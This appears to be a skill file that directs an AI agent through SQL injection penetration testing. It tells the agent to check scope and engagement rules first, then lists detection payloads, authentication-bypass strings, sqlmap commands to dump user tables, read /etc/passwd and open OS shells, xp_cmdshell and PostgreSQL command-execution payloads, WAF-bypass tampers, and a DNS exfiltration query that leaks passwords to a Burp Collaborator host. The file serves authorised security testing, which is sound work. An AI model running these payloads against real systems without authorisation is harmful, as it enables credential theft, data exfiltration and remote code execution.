| name | sqli-pentest |
| description | Guides SQL injection testing with detection probes, DB-specific payloads, bypass techniques, and sqlmap automation. Use when database errors appear, single quotes break queries, numeric parameters behave oddly, or search/filter endpoints reflect SQL-like behavior. |
SQL Injection Pentest
Prerequisites
- Target is in scope (
scope/scope-master.txt, engagement ROE).
- Load
web-app-pentest for overall web testing context.
- After confirmed DB access, load
database-pentest for post-exploitation enumeration.
Triggers
- SQL syntax errors, ODBC/JDBC messages, or DBMS version strings in responses
- Single quote (
') or double quote breaks page behavior or changes result count
- Numeric parameters accept arithmetic (
1, 2-1, 1 OR 1=1) with different output
- Search, filter, sort, pagination params (
id, cat, order, limit)
- Login forms, cookies, headers, JSON fields concatenated into queries
- Second-order symptoms: stored input triggers SQL errors on a later page
Workflow
Task Progress:
- [ ] Map injection points (params, headers, cookies, JSON, ORM layers)
- [ ] Confirm injection type: error, boolean blind, time blind, union, stacked
- [ ] Identify DBMS (keywords, errors, timing functions)
- [ ] Test with low-impact probes, escalate to data extraction
- [ ] Document with request/response evidence and extracted data samples
Detection
Error-based probes
CLI (primary for web vulns):
curl -s "http://<target>/search?id=1'"
curl -s "http://<target>/search?id=1' AND 1=2-- -"
Payloads: ' OR 1=1-- -, " OR "1"="1, ' AND 1=2-- -
MSF MCP:
msf_run_auxiliary_module(
module_name="auxiliary/scanner/http/blind_sql_query",
engagement_id="<id>",
options={"RHOSTS": "<target>", "TARGETURI": "/search", "QUERY": "id=1'", "METHOD": "GET"}
)
Boolean blind
CLI (primary):
sqlmap -u "http://<target>/search?id=1" --technique=B --batch --level=3
Payloads: ' AND 1=1-- -, ' AND 1=2-- -, 1 AND 1=1, 1 AND 1=2
MSF MCP:
msf_run_auxiliary_module(
module_name="auxiliary/scanner/http/blind_sql_query",
engagement_id="<id>",
options={"RHOSTS": "<target>", "TARGETURI": "/search", "QUERY": "id=1 AND 1=1", "METHOD": "GET"}
)
Time-based probes
CLI (primary):
sqlmap -u "http://<target>/search?id=1" --technique=T --time-sec=5 --batch
| DBMS | Payload |
|---|
| MSSQL | '; WAITFOR DELAY '0:0:5'-- - |
| MySQL | ' AND SLEEP(5)-- - |
| PostgreSQL | '; SELECT pg_sleep(5)-- - |
| Oracle | ' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)-- - |
MSF MCP: Same as boolean blind with time-based query strings in QUERY.
Cookie and header injection
CLI (primary):
sqlmap -u "http://<target>/dashboard" --cookie="session=abc123" --level=5 --risk=2 --batch
sqlmap -r request.txt --level=5 --risk=2 --batch
Probe headers: X-Forwarded-For: 127.0.0.1' OR 1=1-- -, Referer, User-Agent
MSF MCP:
msf_run_auxiliary_module(
module_name="auxiliary/scanner/http/blind_sql_query",
engagement_id="<id>",
options={"RHOSTS": "<target>", "TARGETURI": "/dashboard", "QUERY": "id=1", "COOKIE": "session=abc' OR 1=1-- -"}
)
Second-order SQLi
CLI (primary):
sqlmap -u "http://<target>/register" --data="username=test&email=x@y.com" --second-order="http://<target>/profile" --batch
- Inject payload into registration or comment field
- Trigger on profile, invoice, or admin review page
MSF MCP: No direct second-order module. Use msf_search_modules(query="sql injection") for related scanners.
Exploitation
Authentication bypass
CLI (primary):
sqlmap -u "http://<target>/login" --data="user=admin&pass=test" --batch --dbs
Payloads: admin'--, ' OR 1=1#, " OR ""=", admin'/*
MSF MCP:
msf_run_auxiliary_module(
module_name="auxiliary/scanner/http/blind_sql_query",
engagement_id="<id>",
options={"RHOSTS": "<target>", "TARGETURI": "/login", "QUERY": "user=admin'--&pass=x", "METHOD": "POST"}
)
Union-based extraction
CLI (primary):
sqlmap -u "http://<target>/search?id=1" --technique=U --batch --dbs
sqlmap -u "http://<target>/search?id=1" -D mydb -T users --dump
Steps: column count via ORDER BY N, find output columns, UNION SELECT username,password,NULL FROM users-- -
MSF MCP:
msf_run_auxiliary_module(
module_name="auxiliary/scanner/http/blind_sql_query",
engagement_id="<id>",
options={"RHOSTS": "<target>", "TARGETURI": "/search", "QUERY": "id=1 UNION SELECT NULL,version(),NULL-- -"}
)
Error-based extraction
CLI (primary):
sqlmap -u "http://<target>/search?id=1" --technique=E --batch --current-user
MySQL: ' AND extractvalue(1,concat(0x7e,(SELECT version())))-- -
MSSQL: ' AND 1=CONVERT(int,(SELECT @@version))-- -
MSF MCP: Same blind_sql_query module with error-based payloads in QUERY.
DNS exfiltration (MySQL/Oracle OOB)
CLI (primary):
sqlmap -u "http://<target>/search?id=1" --sql-query="SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.<collab>.burpcollaborator.net\\a'))"
Use Burp Collaborator or dig on attacker DNS for subdomain callbacks.
MSF MCP: No direct DNS exfil module. Use msf_search_modules(query="blind_sql").
MSSQL direct SQL
MSF MCP:
msf_run_auxiliary_module(
module_name="auxiliary/admin/mssql/mssql_sql",
engagement_id="<id>",
options={"RHOSTS": "<target>", "USERNAME": "sa", "PASSWORD": "password", "SQL": "SELECT @@version"}
)
CLI (primary):
sqlmap -u "http://<target>/search?id=1" --dbms=mssql --os-shell --batch
impacket-mssqlclient sa:password@<target> -windows-auth
ORM-specific (HQL/JPQL)
CLI (primary):
curl -s "http://<target>/api/users?name=admin' OR '1'='1"
curl -s "http://<target>/api/users?name=x' AND (SELECT substring(user.password,1,1) FROM User user WHERE user.username='admin')='a"
HQL: ' OR '1'='1, ') OR ('1'='1, subquery extraction via (SELECT ... FROM User ...)
MSF MCP: No direct ORM module. Use msf_search_modules(query="sql injection").
Stacked queries and RCE
CLI (primary):
sqlmap -u "http://<target>/search?id=1" --technique=S --os-shell --batch
sqlmap -u "http://<target>/search?id=1" --file-read="/etc/passwd" --batch
MSSQL: '; EXEC xp_cmdshell 'whoami'-- -
PostgreSQL: '; COPY (SELECT '') TO PROGRAM 'id';-- -
MSF MCP:
msf_run_auxiliary_module(
module_name="auxiliary/admin/mssql/mssql_sql",
engagement_id="<id>",
options={"RHOSTS": "<target>", "USERNAME": "sa", "PASSWORD": "password", "SQL": "EXEC xp_cmdshell 'whoami'"}
)
WAF bypass and tamper catalog
CLI (primary):
sqlmap -u "http://<target>/search?id=1" --tamper=space2comment,randomcase,between,charencode --batch
sqlmap -u "http://<target>/search?id=1" --tamper=equaltolike,space2dash,versionedkeywords --level=5 --risk=3
| Tamper | Effect |
|---|
space2comment | Space to /**/ |
randomcase | Mixed-case keywords |
between | > to NOT BETWEEN 0 AND |
charencode | URL-encode payloads |
versionedkeywords | MySQL versioned comments |
Manual: SeLeCt, UN/**/ION SEL/**/ECT, %2527, polyglot SLEEP(1)/*' OR SLEEP(1) OR '"*/
MSF MCP: Encode bypass variants in QUERY option of blind_sql_query.
Impact escalation
| Stage | CLI | MSF MCP |
|---|
| Read data | sqlmap --dump | blind_sql_query |
| Write files | --file-write | mssql_sql (MSSQL) |
| RCE | --os-shell | mssql_sql xp_cmdshell |
| Lateral | linked servers via sqlmap | mssql_sql OPENROWSET |
Tool reference
sqlmap -u "URL" --batch --dbs --technique=BEUSTQ
sqlmap -r request.txt --level=5 --risk=3 --tamper=space2comment,randomcase
sqlmap -u "URL" --second-order="http://target/otherpage" -p id
sqlmap -u "URL" --dbms=mysql --os-shell --file-read="/etc/passwd"
Related skills
web-app-pentest - overall web testing flow and vuln routing
database-pentest - post-SQLi DB enumeration, xp_cmdshell, linked servers
nosql-injection-pentest - when backend is MongoDB, not SQL
graphql-pentest - SQL injection via GraphQL variables and resolvers